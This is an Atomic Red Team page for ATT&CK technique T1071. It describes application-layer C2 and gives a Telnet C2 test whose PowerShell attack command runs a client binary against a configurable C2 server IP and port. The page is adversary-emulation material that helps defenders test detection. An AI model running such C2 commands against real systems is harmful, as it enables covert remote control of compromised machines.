Skip to content
Atomic Red Team
atomics
T1071

T1071 - Application Layer Protocol

Description from ATT&CK (opens in a new tab)

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)

Atomic Tests


Atomic Test #1 - Telnet C2

An adversary may establish Telnet communication from a compromised endpoint to a command and control (C2) server in order to carry out additional attacks on objectives.

Supported Platforms: Windows

auto_generated_guid: 3b0df731-030c-4768-b492-2a3216d90e53

Inputs:

NameDescriptionTypeDefault Value
server_ipC2 server IP or URLurl127.0.0.1
client_pathClient agent pathpathPathToAtomicsFolder\T1071\bin\telnet_client.exe
server_portC2 server portinteger23

Attack Commands: Run with powershell!

#{client_path} #{server_ip} --port #{server_port}

Dependencies: Run with powershell!

Description: A command and control (C2) server can be established by running PathToAtomicsFolder\T1071\bin\telnet_server.exe on a specified server with a specified IP that must be reachable by a client (telnet_client.exe)
Check Prereq Commands:
$connection = Test-NetConnection -ComputerName #{server_ip} -Port #{server_port}
if ($connection.TcpTestSucceeded) {exit 0} else {exit 1}
Get Prereq Commands:
Write-Host "Setup C2 server manually"